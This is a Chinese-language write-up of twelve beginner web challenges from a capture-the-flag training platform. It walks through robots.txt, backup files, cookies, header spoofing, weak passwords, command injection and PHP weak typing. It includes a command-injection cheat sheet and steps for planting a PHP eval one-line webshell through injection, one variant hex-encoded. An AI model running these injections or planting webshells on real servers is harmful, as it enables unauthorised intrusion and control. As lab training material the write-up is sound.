攻防世界web新手区

第一题view_source

f12查看源码在这里插入图片描述

第二题get_post

1按照提示先get一个a=1,在post一个b=2,就行
在这里插入图片描述

第三题robots

robots协议是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

也就是说通常网站下会有个robots.txt,它会告诉爬虫什么能访问什么不能访问,不能访问是指不希望被爬虫抓取到的内容(通常有重要信息),但是我们可以访问

这里直接在地址后接robots,
在这里插入图片描述
然后访问flag。。。

第四题Backup

index.php的备份文件名通常是index.php.bak

.bak通常是编辑这个文件时,自动生成的备份文件;
可以用于紧急恢复
如果编辑后没有什么问题;
可以删除.BAK文件
通常命名为xxx.bak

这里直接访问index.php.bak.

第五题cookie

Cookie(复数形态Cookies),又称为“小甜饼”。类型为“小型文本文件”,指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)。
Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。
浏览器需要保存这段数据,不得轻易删除。
此后每次浏览器访问该服务器,都必须带上这段数据。
Cookie 就是这么简单,这就是 Web 开发里 Cookie 的含义。
Cookie一般有两个用处:
1.识别用户的身份
2.记录历史信息
用一个例子说明:
假设我们去一个公园,需要购买门票,这个门票的有效期为1一天,也就是在这一天内我们可以凭着这张票随意的进出公园。也就是说可以把每一次进入公园当作是一次http请求,这个票就相当于我们设置的Cookie,正是有了这个票(Cookie),我们可以顺利的进入这个公园(访问网站)。同理Cookie可以设置存活的时间等信息。如:

Session和Cookie的应用场景

 (1)登录网站,今输入用户名密码登录了,第二天再打开很多情况下就直接打开了。这个时候用到的一个机制就是cookie。

 (2)session一个场景是购物车,添加了商品之后客户端处可以知道添加了哪些商品,而服务器端如何判别呢,所以也需要存储一些信息就用到了session。

对cookie和session的理解
https://blog.csdn.net/qq_41802128/article/details/82151490

访问网址,抓包看cookie,
在这里插入图片描述访问cookie.php再抓包,放包response(响应)
在这里插入图片描述

第六题disabled_button

这里主要是考查前端代码
disabled 属性规定应该禁用 input 元素。
被禁用的 input 元素既不可用,也不可点击
在这里插入图片描述
这里我们直接将它删除
在这里插入图片描述然后就可以点击了

第七题simple_js

提交几次无果后发现
在这里插入图片描述
人造密码哈哈?
在想到之前查看的源码(这题关键是将源码看懂)

<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab  = pass_enc.split(',');
            var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                    k = j + (l) + (n=0);
                    n = tab2.length;
                    for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));//虽然前面定义o用到了tab,但是实际都是用tab2这个变量,即最后的结果与我们输入的值无关
                            if(i == 5)break;}
                    for(i = (o=0); i < (k = j = n); i++ ){
                    o = tab[i-l];
                            if(i > 5 && i < k-1)
                                    p += String.fromCharCode((o = tab2[i]));//
                    }
    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;
}
String["fromCharCode"](dechiffre("x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

从源码中可以看到无论我们输入什么最终返回的值都是FAUX PASSWORD HAHA(里面用到的一些函数在下面)
这里最可疑

String["fromCharCode"](dechiffre("x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"));

x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30(这是十六进制的ascii码)

于是可以先16进制转文本(就是十进制了),在十进制转ascll对应的字符(字符)

55,56,54,79,115,69,114,116,107,49,50(相当于函数所需的unicode值)

7,8,6,O,s,E,r,t,k,1,2

十进制转ascll对应的字符(字符)
就相当于String[“fromCharCode”](55,56,54,79,115,69,114,116,107,49,50)
结果为786OsErtk12

http://www.ab126.com/goju/1711.html在线十进制转ascll字符

alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。
在这里插入图片描述prompt()方法用于显示可提示用户进行输入的对话框,这个方法返回用户输入的字符串。

String方法之fromCharCode()
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串(unicode编码的字符)。
在这里插入图片描述

第八题xff_referer

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理

innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

进去后要求IP地址必须为123.123.123.123,使用burpsuite伪造XFF:X-Forwarded-For:123.123.123.123(这里先将原来的refer删除)
在这里插入图片描述go之后又要求innerHTML=“必须来自https://www.google.com”,再伪造(添加)Referer:Referer:https://www.google.com
在这里插入图片描述

第九题weak_auth

弱密码
提示用户名为admin
这里正常应该是要用bp爆破(也可直接猜)
密码123456

第十题webshell

直接用蚁剑连上就能看到flag.php

第十一题command_execution

Window/Linux可利用的特殊字符:
windows支持:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux支持:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
11 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

额外知识 写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
linux下需要用来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

这里先随便ping
在这里插入图片描述

发现可以命令执行
接者127.0.0.1 | find / -name flag.txt(找寻根目录下所有flag.txt文件)
在这里插入图片描述
然后
127.0.0.1 | cat /home/flag.txt

推荐文章https://www.cnblogs.com/xiaozi/p/7831529.html

第十二题simple_php

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?> 

php弱类型

php中有两种比较的符号 == 与 ===
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
如果一个数值和字符串进行比较的时候,会将字符串转换成数值
=== 在进行比较的时候,会先判断两种字符串的类型是否相等(不相等直接返回false),再比较

<?php
2 var_dump("admin"==0);  //true
3 var_dump("1admin"== 1); //true
4 var_dump("admin1"== 1) //false
5 var_dump("admin1" ==  0) //true
6 var_dump("0e123456" =="0e4456789"); //true 
7 ?> 

“admin”== 0 比较的时候,会将admin转化成数值,字符串通常会被转化为0

0e123456"==“0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
这里"1admin”==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是说admin1被转化为了0

在这里插入图片描述
is_numeric() 函数用于检测变量是否为数字或数字字符串。
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
只要其中有一个不是就返回false

<?php
$var_name1=678;
$var_name2="a678";
$var_name3="678";
$var_name4="runoob.com";
$var_name5=698.99;
$var_name6=array("a1","a2");
$var_name7=+125689.66;
if (is_numeric($var_name1))
{
    echo "$var_name1 是数字" . PHP_EOL;
}
else
{
    echo "$var_name1 不是数字" . PHP_EOL ;
}
if (is_numeric($var_name2))
{
    echo "$var_name2 是数字" . PHP_EOL ;
}
else
{
    echo "$var_name2 不是数字" . PHP_EOL ;
}
 
$result=is_numeric($var_name3);
echo "[ $var_name3 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name4);
echo "[ $var_name4 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name5);
echo "[ $var_name5 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name6);
echo "[ $var_name6 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name7);
echo "[ $var_name7 是数字吗? ]" .var_dump($result);
?>

输出结果为:

678 是数字
a678 不是数字
bool(true)
[ 678 是数字吗? ]
bool(false)
[ runoob.com 是数字吗? ]
bool(true)
[ 698.99 是数字吗? ]
bool(false)
[ Array 是数字吗? ]
bool(true)
[ 125689.66 是数字吗? ]

所以可以a=a,and前为真,同时因为a的ASCII码>0(0a,0b等等都行),则后面的$a也为真
这样第一个if为真,拿到一半flag
然后就b=12345a
在这里插入图片描述

原文地址:https://www.cnblogs.com/lceFIre/p/12430697.html